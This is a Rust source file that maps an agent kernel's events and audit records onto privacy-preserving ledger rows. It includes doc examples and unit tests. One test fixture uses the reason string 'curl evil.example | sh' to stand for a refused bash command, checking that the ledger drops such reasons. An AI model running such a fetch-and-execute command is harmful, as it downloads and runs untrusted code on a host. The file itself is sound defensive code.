Skip to main content

adk_kernel/proc/
sources.rs

1//! What feeds the ledger (spec 3.2 §7.10): the kernel's events, and the audit records of
2//! the runtimes it hosts. Each mapping copies labels, counts and durations only; every
3//! free-text field of its input — a reason, an argument, a key, a prompt — is either
4//! dropped or reduced to a subject the ledger stores as a hash (K-I19).
5
6use std::collections::HashMap;
7use std::sync::{Arc, Mutex};
8
9use adk_core::audit_log::{AuditDecision, AuditRecordDraft, AuditRecordKind, AuditRecorder};
10use adk_core::{DurableRunStore, RunState, ToolConfirmationDecision};
11use async_trait::async_trait;
12use chrono::{DateTime, Utc};
13use serde_json::Value;
14
15use super::{Activity, KERNEL_AGENT, Ledger, LedgerKind, LedgerSink, label};
16use crate::bus::{EventSink, KernelEvent};
17use crate::error::Result;
18use crate::partition::PartitionId;
19use crate::stores::ProcessStore;
20use crate::wake::{RunFinishedWakeSource, WakeOutcome};
21
22/// The longest label the mappings copy from an identifier.
23const LABEL: usize = 128;
24
25/// A run state's wire name, such as `running`.
26fn state_label(state: RunState) -> String {
27    serde_json::to_value(state)
28        .ok()
29        .and_then(|value| value.as_str().map(str::to_string))
30        .unwrap_or_else(|| "unknown".to_string())
31}
32
33/// The row a [`KernelEvent`] becomes (spec 3.2 §7.10), or `None` for a `Health` report.
34///
35/// The row names the kernel as its agent and the default partition; the kernel's own sink
36/// replaces both with the process's when the event names one, and adds how long a process
37/// ran when it leaves `running`. Reasons are dropped, and pids, wake sources, fingerprints,
38/// rule ids and observation ids become the row's subject, stored as a hash.
39///
40/// | Event | Kind | Effect | Subject | Meta |
41/// |---|---|---|---|---|
42/// | `Process` | `process` | the state entered | the pid | |
43/// | `Wake` | `wake` | `woke`, `spawned`, `deduplicated`, `expired` or `unmatched` | the source | |
44/// | `Held` | `held` | | the call's fingerprint | |
45/// | `Decided` | `decided` | `approve` or `deny` | the fingerprint | |
46/// | `RuleHit` | `rule_hit` | | the rule id | |
47/// | `Spend` | `spend` | | | `micro_usd` |
48/// | `Agenda` | `proposal` | the state the item entered | the item id | |
49/// | `Review` | `audit` | `review` | | `rules`, `sleepers`, `frozen` |
50/// | `Driver` | `audit` | `driver.` and the state entered, such as `driver.crashed` | the driver id | |
51/// | `Observation` | `observation` | | the observation id | |
52/// | `Governance` | `governance` | `frozen` or `unfrozen` | | |
53///
54/// # Example
55///
56/// ```rust
57/// use adk_core::RunState;
58/// use adk_kernel::KernelEvent;
59/// use adk_kernel::proc::{LedgerKind, activity_for_event};
60///
61/// let event = KernelEvent::Process {
62///     pid: "run-1".into(),
63///     from: RunState::Running,
64///     to: RunState::Failed,
65///     reason: Some("the tool printed the API key sk-live-1".into()),
66/// };
67/// let activity = activity_for_event(&event).unwrap();
68/// assert_eq!(activity.kind, LedgerKind::Process);
69/// assert_eq!(activity.effect.as_deref(), Some("failed"));
70/// assert_eq!(activity.subject.as_deref(), Some("run-1"));
71/// ```
72pub fn activity_for_event(event: &KernelEvent) -> Option<Activity> {
73    let kernel = |kind| Activity::new(kind, KERNEL_AGENT);
74    let activity = match event {
75        KernelEvent::Process { pid, to, .. } => {
76            kernel(LedgerKind::Process).with_effect(state_label(*to)).with_subject(pid.clone())
77        }
78        KernelEvent::Wake { source, outcome, .. } => {
79            let effect = match outcome {
80                Some(WakeOutcome::Woke { .. }) => "woke",
81                Some(WakeOutcome::Spawned { .. }) => "spawned",
82                Some(WakeOutcome::Deduplicated { .. }) => "deduplicated",
83                Some(WakeOutcome::Expired { .. }) => "expired",
84                Some(WakeOutcome::Skipped { .. }) => "skipped",
85                Some(WakeOutcome::Coalesced { .. }) => "coalesced",
86                Some(WakeOutcome::Missed { .. }) => "missed",
87                None => "unmatched",
88            };
89            kernel(LedgerKind::Wake).with_effect(effect).with_subject(source.clone())
90        }
91        KernelEvent::Held { request, .. } => {
92            kernel(LedgerKind::Held).with_subject(request.fingerprint())
93        }
94        KernelEvent::Decided { fingerprint, decision, .. } => {
95            let effect = match decision {
96                ToolConfirmationDecision::Approve => "approve",
97                ToolConfirmationDecision::Deny => "deny",
98            };
99            kernel(LedgerKind::Decided).with_effect(effect).with_subject(fingerprint.clone())
100        }
101        KernelEvent::RuleHit { rule_id, .. } => {
102            kernel(LedgerKind::RuleHit).with_subject(rule_id.clone())
103        }
104        KernelEvent::Spend { partition, key, delta } => {
105            let agent =
106                key.agent.as_deref().map_or_else(|| KERNEL_AGENT.into(), |a| label(a, LABEL));
107            Activity::new(LedgerKind::Spend, agent)
108                .with_partition(partition.clone())
109                .with_count("micro_usd", delta.micro_usd)
110        }
111        KernelEvent::Agenda { item, to, .. } => kernel(LedgerKind::Proposal)
112            .with_effect(label(&to.kind().to_string(), 64))
113            .with_subject(item.clone()),
114        KernelEvent::Review(report) => kernel(LedgerKind::Audit)
115            .with_partition(report.partition.clone())
116            .with_effect("review")
117            .with_count("rules", report.rules.len() as u64)
118            .with_count("sleepers", report.sleepers.len() as u64)
119            .with_count("frozen", report.frozen.len() as u64),
120        KernelEvent::Driver { id, state, .. } => kernel(LedgerKind::Audit)
121            .with_effect(format!("driver.{}", state.as_str()))
122            .with_subject(id.clone()),
123        KernelEvent::Observation { id, partition } => kernel(LedgerKind::Observation)
124            .with_partition(partition.clone())
125            .with_subject(id.clone()),
126        KernelEvent::Agent { id, change, .. } => kernel(LedgerKind::Audit)
127            .with_effect(format!("agent.{change}"))
128            .with_subject(id.clone()),
129        KernelEvent::Subagent { id, status, .. } => kernel(LedgerKind::Audit)
130            .with_effect(format!("subagent.{status}"))
131            .with_subject(id.clone()),
132        KernelEvent::Governance { frozen, .. } => {
133            kernel(LedgerKind::Governance).with_effect(if *frozen { "frozen" } else { "unfrozen" })
134        }
135        KernelEvent::Health(_) => return None,
136    };
137    Some(activity)
138}
139
140/// The process an event concerns, whose partition and agent its row takes.
141fn event_pid(event: &KernelEvent) -> Option<&str> {
142    match event {
143        KernelEvent::Process { pid, .. }
144        | KernelEvent::Held { pid, .. }
145        | KernelEvent::Decided { pid, .. }
146        | KernelEvent::RuleHit { pid, .. }
147        | KernelEvent::Subagent { pid, .. } => Some(pid),
148        KernelEvent::Wake { pid, .. } => pid.as_deref(),
149        KernelEvent::Spend { .. }
150        | KernelEvent::Agenda { .. }
151        | KernelEvent::Review(_)
152        | KernelEvent::Driver { .. }
153        | KernelEvent::Observation { .. }
154        | KernelEvent::Agent { .. }
155        | KernelEvent::Governance { .. }
156        | KernelEvent::Health(_) => None,
157    }
158}
159
160/// A number among an audit record's extension fields.
161fn ext_count(draft: &AuditRecordDraft, field: &str) -> Option<u64> {
162    draft.ext.get(field).and_then(Value::as_u64)
163}
164
165/// The row an audit record becomes (spec 3.2 §7.10), or `None` when another source writes
166/// it: an allowed tool call (the harness writes its `tool_call` row with the duration) and
167/// the kernel's own `kernel.*` and `governance.*` records (its events write those).
168///
169/// Every row keeps the actor's agent and invocation and, as its subject, the action and
170/// the arguments' digest; reasons and every other extension field but the counts below are
171/// dropped.
172///
173/// | Record | Kind | Effect | Meta |
174/// |---|---|---|---|
175/// | `tool_call`, decision `denied` | `denial` | the tool's effect class | |
176/// | `tool_call`, decision `approval_required` | `held` | the tool's effect class | |
177/// | `approval`, decision `approved` / `rejected` | `approval` / `rejection` | | |
178/// | `harness.spend` | `turn` | | `model_calls`, `tool_calls`, `tokens`, `prompt_tokens`, `cached_tokens`, `cost_micro_usd` |
179/// | `harness.loop.detected` | `loop_guard` | | `identical_calls`, `redundant_calls` |
180/// | any other record | `audit` | its action, such as `harness.mode.changed` | |
181///
182/// # Example
183///
184/// ```rust
185/// use adk_core::audit_log::{AuditRecordDraft, AuditRecordKind};
186/// use adk_kernel::proc::{LedgerKind, activity_for_audit};
187///
188/// let draft = AuditRecordDraft::new(AuditRecordKind::Other("harness".into()), "harness.spend")
189///     .ext("modelCalls", serde_json::json!(3))
190///     .ext("cost", serde_json::json!(1250));
191/// let activity = activity_for_audit(&draft).unwrap();
192/// assert_eq!(activity.kind, LedgerKind::Turn);
193/// assert_eq!(activity.meta["cost_micro_usd"], 1250);
194/// ```
195pub fn activity_for_audit(draft: &AuditRecordDraft) -> Option<Activity> {
196    let effect = || draft.ext.get("effect").and_then(Value::as_str).map(|effect| label(effect, 64));
197    let (kind, effect) = match &draft.kind {
198        AuditRecordKind::ToolCall => match draft.decision {
199            Some(AuditDecision::Denied) => (LedgerKind::Denial, effect()),
200            Some(AuditDecision::ApprovalRequired) => (LedgerKind::Held, effect()),
201            _ => return None,
202        },
203        AuditRecordKind::Approval => match draft.decision {
204            Some(AuditDecision::Approved) => (LedgerKind::Approval, None),
205            Some(AuditDecision::Rejected) => (LedgerKind::Rejection, None),
206            _ => return None,
207        },
208        AuditRecordKind::Governance => return None,
209        AuditRecordKind::Other(kind) if kind == crate::audit::KERNEL_AUDIT_KIND => return None,
210        AuditRecordKind::Other(_) => match draft.action.as_str() {
211            "harness.spend" => (LedgerKind::Turn, None),
212            "harness.loop.detected" => (LedgerKind::LoopGuard, None),
213            action => (LedgerKind::Audit, Some(label(action, 64))),
214        },
215        other => (LedgerKind::Audit, Some(label(other.as_str(), 64))),
216    };
217    let agent = draft
218        .actor
219        .agent
220        .as_ref()
221        .map_or_else(|| "unknown".to_string(), |agent| label(agent.as_str(), LABEL));
222    let mut activity = Activity::new(kind.clone(), agent).with_subject(format!(
223        "{}\u{1f}{}",
224        draft.action,
225        draft.args_digest.as_deref().unwrap_or_default()
226    ));
227    if let Some(effect) = effect {
228        activity = activity.with_effect(effect);
229    }
230    if let Some(invocation) = &draft.actor.invocation_id
231        && (1..=64).contains(&invocation.len())
232        && invocation.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')
233    {
234        activity = activity.with_trace_id(invocation.clone());
235    }
236    let counts: &[(&str, &str)] = match kind {
237        LedgerKind::Turn => &[
238            ("modelCalls", "model_calls"),
239            ("toolCalls", "tool_calls"),
240            ("tokens", "tokens"),
241            ("promptTokens", "prompt_tokens"),
242            ("cachedTokens", "cached_tokens"),
243            ("cost", "cost_micro_usd"),
244        ],
245        LedgerKind::LoopGuard => {
246            &[("identicalCalls", "identical_calls"), ("redundantCalls", "redundant_calls")]
247        }
248        _ => &[],
249    };
250    for (field, key) in counts {
251        if let Some(count) = ext_count(draft, field) {
252            activity = activity.with_count(*key, count);
253        }
254    }
255    Some(activity)
256}
257
258/// An `AuditRecorder` that also writes each record's ledger row (spec 3.2 §7.10): the
259/// harness wraps its audit log in one, so its spend, loop-guard, approval and other audit
260/// records feed the ledger. The record is written first; a ledger failure is logged and
261/// never fails the record.
262///
263/// # Example
264///
265/// ```rust
266/// use std::sync::Arc;
267/// use adk_core::audit_log::{AuditRecordDraft, AuditRecordKind, AuditRecorder, InMemoryAuditRecorder};
268/// use adk_kernel::proc::{InMemoryLedgerStore, Ledger, LedgerAuditTap, LedgerKey, LedgerQuery, LedgerStore};
269///
270/// # #[tokio::main(flavor = "current_thread")]
271/// # async fn main() -> adk_core::Result<()> {
272/// let store = Arc::new(InMemoryLedgerStore::new());
273/// let ledger = Arc::new(Ledger::new(store.clone(), LedgerKey::from_bytes([1; 32])));
274/// let records = Arc::new(InMemoryAuditRecorder::new());
275/// let tap = LedgerAuditTap::new(records.clone(), ledger);
276/// tap.record(AuditRecordDraft::new(AuditRecordKind::Other("harness".into()), "harness.mode.changed")).await?;
277/// assert_eq!(records.records().len(), 1);
278/// assert_eq!(store.list(&LedgerQuery::default()).await?[0].kind, "audit");
279/// # Ok(())
280/// # }
281/// ```
282pub struct LedgerAuditTap {
283    inner: Arc<dyn AuditRecorder>,
284    sink: Arc<dyn LedgerSink>,
285}
286
287impl std::fmt::Debug for LedgerAuditTap {
288    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
289        f.debug_struct("LedgerAuditTap").finish_non_exhaustive()
290    }
291}
292
293impl LedgerAuditTap {
294    /// Records to `inner` and writes each record's row to `sink`.
295    pub fn new(inner: Arc<dyn AuditRecorder>, sink: Arc<dyn LedgerSink>) -> Self {
296        Self { inner, sink }
297    }
298
299    /// The recorder records go to.
300    pub fn inner(&self) -> &Arc<dyn AuditRecorder> {
301        &self.inner
302    }
303}
304
305#[async_trait]
306impl AuditRecorder for LedgerAuditTap {
307    fn digest(&self, value: &Value) -> String {
308        self.inner.digest(value)
309    }
310
311    async fn record(&self, draft: AuditRecordDraft) -> adk_core::Result<()> {
312        let activity = activity_for_audit(&draft);
313        self.inner.record(draft).await?;
314        if let Some(activity) = activity
315            && let Err(error) = self.sink.record(activity).await
316        {
317            tracing::warn!(error = %error, "could not write an audit record's ledger row");
318        }
319        Ok(())
320    }
321
322    async fn seal(&self) -> adk_core::Result<()> {
323        self.inner.seal().await
324    }
325}
326
327/// The run a run-finished wake's key names: `run:<pid>:<state>` (`keys::run_finished`).
328fn finished_run(key: &str) -> Option<&str> {
329    key.strip_prefix("run:")?.rsplit_once(':').map(|(pid, _)| pid)
330}
331
332/// Most processes the kernel's sink remembers the partition, agent and start of.
333const REMEMBERED: usize = 4096;
334
335#[derive(Default)]
336struct Remembered {
337    /// The partition and agent of each process.
338    owners: HashMap<String, (PartitionId, String)>,
339    /// When each process entered `running`.
340    running: HashMap<String, DateTime<Utc>>,
341}
342
343/// The kernel's event sink that writes the ledger (spec 3.2 §7.10): each event's row from
344/// [`activity_for_event`], with the process's partition and agent, and the time a process
345/// ran when it leaves `running`.
346pub(crate) struct LedgerEventSink {
347    ledger: Ledger,
348    runs: Arc<dyn DurableRunStore>,
349    processes: Arc<dyn ProcessStore>,
350    remembered: Mutex<Remembered>,
351}
352
353impl LedgerEventSink {
354    pub(crate) fn new(
355        ledger: Ledger,
356        runs: Arc<dyn DurableRunStore>,
357        processes: Arc<dyn ProcessStore>,
358    ) -> Self {
359        Self { ledger, runs, processes, remembered: Mutex::default() }
360    }
361
362    /// The partition and agent of `pid`: its side-table partition, and the kernel for its
363    /// own targets, else the acting agent's id or the run's target.
364    async fn owner(&self, pid: &str) -> (PartitionId, String) {
365        if let Some(owner) =
366            self.remembered.lock().unwrap_or_else(|e| e.into_inner()).owners.get(pid)
367        {
368            return owner.clone();
369        }
370        let run = self.runs.get(pid).await.ok().flatten();
371        let partition = match self.processes.get(pid).await {
372            Ok(Some(meta)) => meta.partition,
373            _ => PartitionId::default(),
374        };
375        let agent = match &run {
376            Some(run) if run.target.starts_with("kernel.") => KERNEL_AGENT.to_string(),
377            Some(run) => match &run.principal {
378                Some(principal) => label(principal.agent.id.as_str(), LABEL),
379                None => label(&run.target, LABEL),
380            },
381            None => KERNEL_AGENT.to_string(),
382        };
383        let owner = (partition, agent);
384        if run.is_some() {
385            let mut remembered = self.remembered.lock().unwrap_or_else(|e| e.into_inner());
386            if remembered.owners.len() >= REMEMBERED {
387                remembered.owners.clear();
388            }
389            remembered.owners.insert(pid.to_string(), owner.clone());
390        }
391        owner
392    }
393}
394
395#[async_trait]
396impl EventSink for LedgerEventSink {
397    async fn emit(&self, event: &KernelEvent) -> Result<()> {
398        let Some(mut activity) = activity_for_event(event) else {
399            return Ok(());
400        };
401        if let Some(pid) = event_pid(event) {
402            let (partition, agent) = self.owner(pid).await;
403            activity.partition = partition;
404            if !matches!(event, KernelEvent::Wake { .. }) {
405                activity.agent = agent;
406            }
407        } else if let KernelEvent::Wake { source, key, pid: None, .. } = event
408            && source == RunFinishedWakeSource::NAME
409            && let Some(finished) = finished_run(key)
410            && let Ok(Some(meta)) = self.processes.get(finished).await
411        {
412            // A finished run nothing waited on is its own partition's activity (spec 3.2
413            // §7.8, §7.10).
414            activity.partition = meta.partition;
415        }
416        if let KernelEvent::Process { pid, from, to, .. } = event {
417            let now = self.ledger.clock().now();
418            let mut remembered = self.remembered.lock().unwrap_or_else(|e| e.into_inner());
419            if *to == RunState::Running {
420                if remembered.running.len() >= REMEMBERED {
421                    remembered.running.clear();
422                }
423                remembered.running.insert(pid.clone(), now);
424            } else if *from == RunState::Running
425                && let Some(started) = remembered.running.remove(pid)
426            {
427                activity = activity.with_duration((now - started).to_std().unwrap_or_default());
428            }
429            if to.is_terminal() {
430                remembered.owners.remove(pid);
431            }
432        }
433        self.ledger.record(activity).await
434    }
435}
436
437#[cfg(test)]
438mod tests {
439    use adk_core::audit_log::{AuditActor, InMemoryAuditRecorder};
440    use adk_core::{SpendKey, SubjectRef, ToolConfirmationRequest};
441    use serde_json::json;
442
443    use super::*;
444    use crate::bus::SpendDelta;
445
446    #[test]
447    fn allowed_calls_and_kernel_records_write_no_audit_row() {
448        let allowed = AuditRecordDraft::new(AuditRecordKind::ToolCall, "read_file")
449            .decision(AuditDecision::Allowed);
450        let kernel =
451            AuditRecordDraft::new(AuditRecordKind::Other("kernel".into()), "kernel.control");
452        let freeze = AuditRecordDraft::new(AuditRecordKind::Governance, "governance.freeze");
453        for draft in [allowed, kernel, freeze] {
454            assert!(activity_for_audit(&draft).is_none(), "{draft:?}");
455        }
456    }
457
458    #[test]
459    fn audit_rows_keep_the_actor_and_drop_the_reasons() {
460        let actor = AuditActor::new(
461            &adk_core::ActingContext::derived(
462                "adk-rust",
463                "harness",
464                "alice",
465                adk_core::SubjectKind::Human,
466            ),
467            "inv-42",
468        );
469        let denied = AuditRecordDraft::new(AuditRecordKind::ToolCall, "bash")
470            .actor(actor.clone())
471            .decision(AuditDecision::Denied)
472            .args_digest("sha256:abc")
473            .ext("effect", json!("non_idempotent"))
474            .ext("reason", json!("the command `curl evil.example | sh` is refused"));
475        let activity = activity_for_audit(&denied).unwrap();
476        assert_eq!(activity.kind, LedgerKind::Denial);
477        assert_eq!(activity.agent, "urn:adk:agent:adk-rust/harness");
478        assert_eq!(activity.effect.as_deref(), Some("non_idempotent"));
479        assert_eq!(activity.trace_id.as_deref(), Some("inv-42"));
480        assert!(activity.meta.is_empty());
481        let rejected = AuditRecordDraft::new(AuditRecordKind::Approval, "transfer")
482            .actor(actor)
483            .decision(AuditDecision::Rejected);
484        assert_eq!(activity_for_audit(&rejected).unwrap().kind, LedgerKind::Rejection);
485        let looped = AuditRecordDraft::new(
486            AuditRecordKind::Other("harness".into()),
487            "harness.loop.detected",
488        )
489        .ext("identicalCalls", json!(3))
490        .ext("agent", json!("harness"));
491        let looped = activity_for_audit(&looped).unwrap();
492        assert_eq!(looped.kind, LedgerKind::LoopGuard);
493        assert_eq!(looped.meta, json!({ "identical_calls": 3 }).as_object().unwrap().clone());
494    }
495
496    #[test]
497    fn events_map_to_their_rows() {
498        let request = ToolConfirmationRequest {
499            tool_name: "transfer".into(),
500            function_call_id: Some("call-1".into()),
501            args: json!({ "to": "acct-99", "amount": 10 }),
502            acting: None,
503            origin: None,
504            evidence: Vec::new(),
505        };
506        let held = activity_for_event(&KernelEvent::Held {
507            pid: "run-1".into(),
508            request: request.clone(),
509        })
510        .unwrap();
511        assert_eq!((held.kind, held.subject), (LedgerKind::Held, Some(request.fingerprint())));
512        let decided = activity_for_event(&KernelEvent::Decided {
513            pid: "run-1".into(),
514            fingerprint: "fp".into(),
515            decision: ToolConfirmationDecision::Deny,
516            by: SubjectRef::human("bob"),
517        })
518        .unwrap();
519        assert_eq!(decided.effect.as_deref(), Some("deny"));
520        let spend = activity_for_event(&KernelEvent::Spend {
521            partition: PartitionId::new("work"),
522            key: SpendKey::org("adk-rust").with_agent("urn:adk:agent:adk-rust/harness"),
523            delta: SpendDelta::new(1500),
524        })
525        .unwrap();
526        assert_eq!(spend.partition, PartitionId::new("work"));
527        assert_eq!(spend.meta["micro_usd"], 1500);
528        let frozen = activity_for_event(&KernelEvent::Governance {
529            frozen: true,
530            reason: Some("incident 12: leaked token".into()),
531        })
532        .unwrap();
533        assert_eq!(frozen.effect.as_deref(), Some("frozen"));
534        let stale = activity_for_event(&KernelEvent::Driver {
535            id: "notes".into(),
536            state: crate::drivers::DriverState::NeedsReapproval,
537            reason: Some("read_note now forwards the note".into()),
538        })
539        .unwrap();
540        assert_eq!(
541            (stale.kind, stale.agent.as_str(), stale.effect.as_deref()),
542            (LedgerKind::Audit, KERNEL_AGENT, Some("driver.needsReapproval"))
543        );
544        assert_eq!(stale.subject.as_deref(), Some("notes"));
545        assert!(activity_for_event(&KernelEvent::Health(Default::default())).is_none());
546    }
547
548    #[tokio::test]
549    async fn the_tap_records_first_and_never_fails_on_the_ledger() {
550        struct Failing;
551        #[async_trait]
552        impl LedgerSink for Failing {
553            async fn record(&self, _activity: Activity) -> Result<()> {
554                Err(crate::KernelError::Config { reason: "down".into() })
555            }
556        }
557        let records = Arc::new(InMemoryAuditRecorder::new());
558        let tap = LedgerAuditTap::new(records.clone(), Arc::new(Failing));
559        tap.record(AuditRecordDraft::new(
560            AuditRecordKind::Other("harness".into()),
561            "harness.spend",
562        ))
563        .await
564        .unwrap();
565        assert_eq!(records.records().len(), 1);
566    }
567
568    /// A kernel stopping cleanly seals through the tap, so the signed log under it verifies.
569    #[tokio::test]
570    async fn the_tap_forwards_a_seal() {
571        #[derive(Default)]
572        struct Seals(std::sync::atomic::AtomicUsize);
573        #[async_trait]
574        impl AuditRecorder for Seals {
575            fn digest(&self, value: &Value) -> String {
576                adk_core::json_digest(value)
577            }
578            async fn record(&self, _draft: AuditRecordDraft) -> adk_core::Result<()> {
579                Ok(())
580            }
581            async fn seal(&self) -> adk_core::Result<()> {
582                self.0.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
583                Ok(())
584            }
585        }
586        let inner = Arc::new(Seals::default());
587        let ledger = Ledger::new(
588            Arc::new(crate::proc::InMemoryLedgerStore::new()),
589            crate::proc::LedgerKey::from_bytes([1; 32]),
590        );
591        let tap = LedgerAuditTap::new(inner.clone(), Arc::new(ledger));
592        tap.seal().await.unwrap();
593        assert_eq!(inner.0.load(std::sync::atomic::Ordering::SeqCst), 1);
594    }
595}